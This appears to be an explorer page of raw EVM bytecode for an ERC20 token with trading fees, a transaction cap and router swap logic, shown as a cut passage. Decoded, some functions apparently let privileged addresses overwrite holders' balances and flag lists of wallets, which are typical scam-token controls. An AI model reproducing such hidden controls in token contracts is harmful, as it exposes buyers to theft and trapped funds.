fffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156136fc576136f960646136eb6018548661381e90919063ffffffff16565b61389990919063ffffffff16565b90505b5b60008111156138015761375881600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137f891906144cf565b60405180910390a35b613814818461319490919063ffffffff16565b9150509392505050565b6000808314156138315760009050613893565b6000828461383f919061466b565b905082848261384e919061463a565b1461388e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138859061444f565b60405180910390fd5b809150505b92915050565b60006138db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613cbf565b905092915050565b6000600267ffffffffffffffff811115613900576138ff614912565b5b60405190808252806020026020018201604052801561392e5781602001602082028036833780820191505090505b5090503081600081518110613946576139456148e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156139e857600080fd5b505afa1580156139fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613a209190613e18565b81600181518110613a3457613a336148e3565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050613a9b30601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461292f565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613aff95949392919061451a565b600060405180830381600087803b158015613b1957600080fd5b505af1158015613b2d573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613b629291906144ea565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613bb4573d6000803e3d6000fd5b505050565b613be630601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461292f565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613c32611f24565b426040518863ffffffff1660e01b8152600401613c5496959493929190614316565b6060604051808303818588803b158015613c6d57600080fd5b505af1158015613c81573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613ca69190614025565b5050505050565b6000613cb882613d22565b9050919050565b60008083118290613d06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cfd91906143ad565b60405180910390fd5b5060008385613d15919061463a565b9050809150509392505050565b6000819050919050565b600081359050613d3b81614b97565b92915050565b600081519050613d5081614b97565b92915050565b60008083601f840112613d6c57613d6b614946565b5b8235905067ffffffffffffffff811115613d8957613d88614941565b5b602083019150836020820283011115613da557613da461494b565b5b9250929050565b600081359050613dbb81614bae565b92915050565b600081359050613dd081614bc5565b92915050565b600081519050613de581614bc5565b92915050565b600060208284031215613e0157613e00614955565b5b6000613e0f84828501613d2c565b91505092915050565b600060208284031215613e2e57613e2d614955565b5b6000613e3c84828501613d41565b91505092915050565b60008060408385031215613e5c57613e5b614955565b5b6000613e6a85828601613d2c565b9250506020613e7b85828601613d2c565b9150509250929050565b600080600060608486031215613e9e57613e9d614955565b5b6000613eac86828701613d2c565b9350506020613ebd86828701613d2c565b9250506040613ece86828701613dc1565b9150509250925092565b60008060408385031215613eef57613eee614955565b5b6000613efd85828601613d2c565b9250506020613f0e85828601613dc1565b9150509250929050565b600080600060408486031215613f3157613f30614955565b5b600084013567ffffffffffffffff811115613f4f57613f4e614950565b5b613f5b86828701613d56565b93509350506020613f6e86828701613dac565b9150509250925092565b600060208284031215613f8e57613f8d614955565b5b6000613f9c84828501613dac565b91505092915050565b600060208284031215613fbb57613fba614955565b5b6000613fc984828501613dc1565b91505092915050565b600080600060608486031215613feb57613fea614955565b5b6000613ff986828701613dc1565b935050602061400a86828701613dc1565b925050604061401b86828701613dc1565b9150509250925092565b60008060006060848603121561403e5761403d614955565b5b600061404c86828701613dd6565b935050602061405d86828701613dd6565b925050604061406e86828701613dd6565b9150509250925092565b6000614084838361409f565b60208301905092915050565b6140998161470b565b82525050565b6140a8816146f9565b82525050565b6140b7816146f9565b82525050565b60006140c88261459f565b6140d281856145c2565b93506140dd8361458f565b8060005b8381101561410e5781516140f58882614078565b9750614100836145b5565b9250506001810190506140e1565b5085935050505092915050565b6141248161471d565b82525050565b61413381614760565b82525050565b61414281614772565b82525050565b6000614153826145aa565b61415d81856145d3565b935061416d8185602086016147a8565b6141768161495a565b840191505092915050565b600061418e6023836145d3565b91506141998261496b565b604082019050919050565b60006141b16022836145d3565b91506141bc826149ba565b604082019050919050565b60006141d4601b836145d3565b91506141df82614a09565b602082019050919050565b60006141f76028836145d3565b915061420282614a32565b604082019050919050565b600061421a6021836145d3565b915061422582614a81565b604082019050919050565b600061423d6020836145d3565b915061424882614ad0565b602082019050919050565b60006142606025836145d3565b915061426b82614af9565b604082019050919050565b60006142836024836145d3565b915061428e82614b48565b604082019050919050565b6142a281614749565b82525050565b6142b181614753565b82525050565b60006020820190506142cc60008301846140ae565b92915050565b60006020820190506142e76000830184614090565b92915050565b600060408201905061430260008301856140ae565b61430f60208301846140ae565b9392505050565b600060c08201905061432b60008301896140ae565b6143386020830188614299565b6143456040830187614139565b6143526060830186614139565b61435f60808301856140ae565b61436c60a0830184614299565b979650505050505050565b600060208201905061438c600083018461411b565b92915050565b60006020820190506143a7600083018461412a565b92915050565b600060208201905081810360008301526143c78184614148565b905092915050565b600060208201905081810360008301526143e881614181565b9050919050565b60006020820190508181036000830152614408816141a4565b9050919050565b60006020820190508181036000830152614428816141c7565b9050919050565b60006020820190508181036000830152614448816141ea565b9050919050565b600060208201905081810360008301526144688161420d565b9050919050565b6000602082019050818103600083015261448881614230565b9050919050565b600060208201905081810360008301526144a881614253565b9050919050565b600060208201905081810360008301526144c881614276565b9050919050565b60006020820190506144e46000830184614299565b92915050565b60006040820190506144ff6000830185614299565b818103602083015261451181846140bd565b90509392505050565b600060a08201905061452f6000830188614299565b61453c6020830187614139565b818103604083015261454e81866140bd565b905061455d60608301856140ae565b61456a6080830184614299565b9695505050505050565b600060208201905061458960008301846142a8565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145ef82614749565b91506145fa83614749565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561462f5761462e614856565b5b828201905092915050565b600061464582614749565b915061465083614749565b9250826146605761465f614885565b5b828204905092915050565b600061467682614749565b915061468183614749565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156146ba576146b9614856565b5b828202905092915050565b60006146d082614749565b91506146db83614749565b9250828210156146ee576146ed614856565b5b828203905092915050565b600061470482614729565b9050919050565b600061471682614729565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061476b82614784565b9050919050565b600061477d82614749565b9050919050565b600061478f82614796565b9050919050565b60006147a182614729565b9050919050565b60005b838110156147c65780820151818401526020810190506147ab565b838111156147d5576000848401525b50505050565b600060028204905060018216806147f357607f821691505b60208210811415614807576148066148b4565b5b50919050565b600061481882614749565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561484b5761484a614856565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614ba0816146f9565b8114614bab57600080fd5b50565b614bb78161471d565b8114614bc257600080fd5b50565b614bce81614749565b8114614bd957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203b8fa881d38c3ce54ef4e91dc2fb4f2f061144b301297bf8bc762011b6a8287664736f6c63430008070033
Deployed Bytecode
0x60806040526004361061039b5760003560e01c80638b42507f116101dc578063c860795211610102578063dfb342fa116100a0578063f2514e881161006f578063f2514e8814610ddd578063f2fde38b14610e1a578063f872858a14610e43578063fd9c299c14610e6e576103a2565b8063dfb342fa14610d23578063ec28438a14610d60578063f0cd1dac14610d89578063f1d5f51714610db4576103a2565b8063d8295642116100dc578063d829564214610c67578063da00097d14610c90578063dc44b6a014610cbb578063dd62ed3e14610ce6576103a2565b8063c860795214610bd4578063c867d60b14610bff578063cab0347114610c3c576103a2565b8063a83f53a71161017a578063c469b6dd11610149578063c469b6dd14610b2a578063c49b9a8014610b55578063c5d2418914610b7e578063c816841b14610ba9576103a2565b8063a83f53a714610a6e578063a9059cbb14610a99578063b4fc5a9514610ad6578063c2d4640e14610b01576103a2565b8063a073d37f116101b6578063a073d37f146109b2578063a08e671f146109dd578063a457c2d714610a08578063a5d69d1f14610a45576103a2565b80638b42507f1461091f5780638da5cb5b1461095c57806395d89b4114610987576103a2565b806339509351116102c157806361a23c691161025f5780637d1db4a51161022e5780637d1db4a514610873578063807c2d9c1461089e57806382eefb43146108c957806388790a68146108f4576103a2565b806361a23c69146107b95780636249faf1146107e457806370a082311461080d57806377f31d031461084a576103a2565b806340db65f61161029b57806340db65f6146106fb5780634a74bb021461072657806357a5802f146107515780635881f3ef1461077c576103a2565b806339509351146106585780633b97084a146106955780633ecad271146106be576103a2565b80631870517a116103395780632b112e49116103085780632b112e49146105b05780632c4b2334146105db578063313ce5671461060457806335d236151461062f576103a2565b80631870517a146104f657806323b872dd1461051f5780632563ae831461055c57806327c8f83514610585576103a2565b80631245e347116103755780631245e3471461044c578063156b88eb146104775780631694505e146104a057806318160ddd146104cb576103a2565b806306fdde03146103a7578063095ea7b3146103d25780630ed8b8251461040f576103a2565b366103a257005b600080fd5b3480156103b357600080fd5b506103bc610e97565b6040516103c991906143ad565b60405180910390f35b3480156103de57600080fd5b506103f960048036038101906103f49190613ed8565b610f29565b6040516104069190614377565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190613deb565b610f47565b6040516104439190614377565b60405180910390f35b34801561045857600080fd5b50610461610f67565b60405161046e91906142d2565b60405180910390f35b34801561048357600080fd5b5061049e60048036038101906104999190613fd2565b610f8d565b005b3480156104ac57600080fd5b506104b561106d565b6040516104c29190614392565b60405180910390f35b3480156104d757600080fd5b506104e0611093565b6040516104ed91906144cf565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190613fd2565b61109d565b005b34801561052b57600080fd5b5061054660048036038101906105419190613e85565b61117d565b6040516105539190614377565b60405180910390f35b34801561056857600080fd5b50610583600480360381019061057e9190613f78565b611257565b005b34801561059157600080fd5b5061059a611309565b6040516105a791906142b7565b60405180910390f35b3480156105bc57600080fd5b506105c561132d565b6040516105d291906144cf565b60405180910390f35b3480156105e757600080fd5b5061060260048036038101906105fd9190613deb565b611371565b005b34801561061057600080fd5b5061061961144a565b6040516106269190614574565b60405180910390f35b34801561063b57600080fd5b5061065660048036038101906106519190613deb565b611461565b005b34801561066457600080fd5b5061067f600480360381019061067a9190613ed8565b61153a565b60405161068c9190614377565b60405180910390f35b3480156106a157600080fd5b506106bc60048036038101906106b79190613fa5565b6115ed565b005b3480156106ca57600080fd5b506106e560048036038101906106e09190613deb565b61168c565b6040516106f29190614377565b60405180910390f35b34801561070757600080fd5b506107106116ac565b60405161071d91906144cf565b60405180910390f35b34801561073257600080fd5b5061073b6116b2565b6040516107489190614377565b60405180910390f35b34801561075d57600080fd5b506107666116c5565b60405161077391906144cf565b60405180910390f35b34801561078857600080fd5b506107a3600480360381019061079e9190613deb565b6116cb565b6040516107b091906142b7565b60405180910390f35b3480156107c557600080fd5b506107ce611c29565b6040516107db91906144cf565b60405180910390f35b3480156107f057600080fd5b5061080b60048036038101906108069190613f18565b611c2f565b005b34801561081957600080fd5b50610834600480360381019061082f9190613deb565b611d69565b60405161084191906144cf565b60405180910390f35b34801561085657600080fd5b50610871600480360381019061086c9190613f18565b611db2565b005b34801561087f57600080fd5b50610888611eec565b60405161089591906144cf565b60405180910390f35b3480156108aa57600080fd5b506108b3611ef2565b6040516108c091906144cf565b60405180910390f35b3480156108d557600080fd5b506108de611ef8565b6040516108eb91906144cf565b60405180910390f35b34801561090057600080fd5b50610909611efe565b60405161091691906144cf565b60405180910390f35b34801561092b57600080fd5b5061094660048036038101906109419190613deb565b611f04565b6040516109539190614377565b60405180910390f35b34801561096857600080fd5b50610971611f24565b60405161097e91906142b7565b60405180910390f35b34801561099357600080fd5b5061099c611f4d565b6040516109a991906143ad565b60405180910390f35b3480156109be57600080fd5b506109c7611fdf565b6040516109d491906144cf565b60405180910390f35b3480156109e957600080fd5b506109f2611fe9565b6040516109ff91906144cf565b60405180910390f35b348015610a1457600080fd5b50610a2f6004803603810190610a2a9190613ed8565b611fef565b604051610a3c9190614377565b60405180910390f35b348015610a5157600080fd5b50610a6c6004803603810190610a679190613f78565b6120bc565b005b348015610a7a57600080fd5b50610a8361216e565b604051610a9091906144cf565b60405180910390f35b348015610aa557600080fd5b50610ac06004803603810190610abb9190613ed8565b612174565b604051610acd9190614377565b60405180910390f35b348015610ae257600080fd5b50610aeb612193565b604051610af891906142d2565b60405180910390f35b348015610b0d57600080fd5b50610b286004803603810190610b239190613fd2565b6121b9565b005b348015610b3657600080fd5b50610b3f612299565b604051610b4c91906144cf565b60405180910390f35b348015610b6157600080fd5b50610b7c6004803603810190610b779190613f78565b61229f565b005b348015610b8a57600080fd5b50610b93612388565b604051610ba091906144cf565b60405180910390f35b348015610bb557600080fd5b50610bbe61238e565b604051610bcb91906142b7565b60405180910390f35b348015610be057600080fd5b50610be96123b4565b604051610bf691906144cf565b60405180910390f35b348015610c0b57600080fd5b50610c266004803603810190610c219190613deb565b6123ba565b604051610c339190614377565b60405180910390f35b348015610c4857600080fd5b50610c516123da565b604051610c5e91906144cf565b60405180910390f35b348015610c7357600080fd5b50610c8e6004803603810190610c899190613ed8565b6123e0565b005b348015610c9c57600080fd5b50610ca5612482565b604051610cb29190614377565b60405180910390f35b348015610cc757600080fd5b50610cd0612495565b604051610cdd91906144cf565b60405180910390f35b348015610cf257600080fd5b50610d0d6004803603810190610d089190613e45565b61249b565b604051610d1a91906144cf565b60405180910390f35b348015610d2f57600080fd5b50610d4a6004803603810190610d459190613deb565b612522565b604051610d579190614377565b60405180910390f35b348015610d6c57600080fd5b50610d876004803603810190610d829190613fa5565b612542565b005b348015610d9557600080fd5b50610d9e6125a3565b604051610dab91906144cf565b60405180910390f35b348015610dc057600080fd5b50610ddb6004803603810190610dd69190613fa5565b6125a9565b005b348015610de957600080fd5b50610e046004803603810190610dff9190613deb565b612648565b604051610e119190614377565b60405180910390f35b348015610e2657600080fd5b50610e416004803603810190610e3c9190613deb565b612668565b005b348015610e4f57600080fd5b50610e586127ba565b604051610e659190614377565b60405180910390f35b348015610e7a57600080fd5b50610e956004803603810190610e909190613f18565b6127cd565b005b606060028054610ea6906147db565b80601f0160208091040260200160405190810160405280929190818152602001828054610ed2906147db565b8015610f1f5780601f10610ef457610100808354040283529160200191610f1f565b820191906000526020600020905b815481529060010190602001808311610f0257829003601f168201915b5050505050905090565b6000610f3d610f36612927565b848461292f565b6001905092915050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610f95612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611022576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110199061446f565b60405180910390fd5b8260118190555081601281905550806013819055506110626013546110546012546011546128c990919063ffffffff16565b6128c990919063ffffffff16565b601881905550505050565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601a54905090565b6110a5612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611132576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111299061446f565b60405180910390fd5b82600e8190555081600f8190555080601081905550611172601054611164600f54600e546128c990919063ffffffff16565b6128c990919063ffffffff16565b601781905550505050565b600061118a848484612afa565b5061124c84611197612927565b61124785604051806060016040528060288152602001614bdd60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006111fd612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131309092919063ffffffff16565b61292f565b600190509392505050565b61125f612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e39061446f565b60405180910390fd5b80601f60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b600061136c61135b7f000000000000000000000000000000000000000000000000000000000000dead611d69565b601a5461319490919063ffffffff16565b905090565b611379612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611406576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fd9061446f565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b611469612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ed9061446f565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006115e3611547612927565b846115de8560076000611558612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128c990919063ffffffff16565b61292f565b6001905092915050565b6115f5612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611682576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116799061446f565b60405180910390fd5b80601d8190555050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60015481565b601f60159054906101000a900460ff1681565b60145481565b60006116d5612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611762576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117599061446f565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156117ad57600080fd5b505afa1580156117c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117e59190613e18565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561184757600080fd5b505afa15801561185b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061187f9190613e18565b6040518363ffffffff1660e01b815260040161189c9291906142ed565b60206040518083038186803b1580156118b457600080fd5b505afa1580156118c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ec9190613e18565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611aad578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561196957600080fd5b505afa15801561197d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a19190613e18565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a0357600080fd5b505afa158015611a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3b9190613e18565b6040518363ffffffff1660e01b8152600401611a589291906142ed565b602060405180830381600087803b158015611a7257600080fd5b505af1158015611a86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aaa9190613e18565b91505b81601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b60155481565b611c37612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbb9061446f565b60405180910390fd5b60005b83839050811015611d63578160096000868685818110611cea57611ce96148e3565b5b9050602002016020810190611cff9190613deb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d5b9061480d565b915050611cc7565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611dba612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3e9061446f565b60405180910390fd5b60005b83839050811015611ee6578160086000868685818110611e6d57611e6c6148e3565b5b9050602002016020810190611e829190613deb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611ede9061480d565b915050611e4a565b50505050565b601b5481565b601c5481565b60185481565b60115481565b600a6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054611f5c906147db565b80601f0160208091040260200160405190810160405280929190818152602001828054611f88906147db565b8015611fd55780601f10611faa57610100808354040283529160200191611fd5565b820191906000526020600020905b815481529060010190602001808311611fb857829003601f168201915b5050505050905090565b6000601d54905090565b60195481565b60006120b2611ffc612927565b846120ad85604051806060016040528060258152602001614c056025913960076000612026612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131309092919063ffffffff16565b61292f565b6001905092915050565b6120c4612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612151576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121489061446f565b60405180910390fd5b80601f60166101000a81548160ff02191690831515021790555050565b60165481565b6000612188612181612927565b8484612afa565b506001905092915050565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6121c1612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461224e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122459061446f565b60405180910390fd5b82601481905550816015819055508060168190555061228e6016546122806015546014546128c990919063ffffffff16565b6128c990919063ffffffff16565b601981905550505050565b60105481565b6122a7612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612334576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232b9061446f565b60405180910390fd5b80601f60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161237d9190614377565b60405180910390a150565b600f5481565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b60096020528060005260406000206000915054906101000a900460ff1681565b60135481565b600c60006123ec612927565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561247e5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b601f60169054906101000a900460ff1681565b600e5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156125a05780601b819055505b50565b60175481565b6125b1612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461263e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126359061446f565b60405180910390fd5b80601c8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b612670612927565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126f49061446f565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601f60179054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156128c45760005b838390508110156128c25781600d6000868685818110612849576128486148e3565b5b905060200201602081019061285e9190613deb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806128ba9061480d565b915050612826565b505b505050565b60008082846128d891906145e4565b90508381101561291d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129149061440f565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561299f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612996906144af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a06906143ef565b60405180910390fd5b80600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612aed91906144cf565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ff